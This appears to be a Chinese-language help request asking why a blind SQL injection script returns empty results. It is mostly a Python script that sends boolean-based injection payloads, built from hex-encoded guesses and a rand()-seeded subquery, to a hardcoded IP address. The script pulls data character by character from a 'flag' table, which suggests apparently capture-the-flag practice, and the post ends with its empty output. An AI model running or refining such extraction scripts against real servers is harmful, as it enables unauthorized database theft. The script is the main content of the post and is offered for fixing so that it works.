SQL注入攻击导致代码运行结果为空的原因是什么？如何解决这个问题？

import requests
import binascii
url = "http://110.41.8.154/"

def join(arr):
    return ",".join([f"0x{binascii.hexlify(i.encode()).decode()}" if i != "" else "0x0" for i in arr])

result = ["","","","","",""] #长度为列数，包含一条随机数列
result_i = 0
for i in range(1, 3000):
    min_value =32
    max_value = 130
    last_tmp = ""
    for j in range(min_value, max_value + 1):
        tmp = result[result_i]
        result[result_i] = tmp + chr(j)
        payload = {
            "id": f"740-(({join(result)})>(select * from(select *, floor(1+rand(5)*500000))`xxx`from(flag))`t`where(xxx=221556)))"
        }
        html = requests.get(url, params=payload)
        if "pk" not in html.text:
            if j == min_value + 1:
                result[result_i] = tmp
                result_i += 1
            else:
                result[result_i] = last_tmp
            break
        else:
            result[result_i] = tmp
        last_tmp = tmp + chr(j)

    #找不到目标主机
    if (result_i == len(result) - 1):
        break
    print(result)
print("final flag",result)

['', '', '', '', '', '']
['', '', '', '', '', '']
... (repeated many times)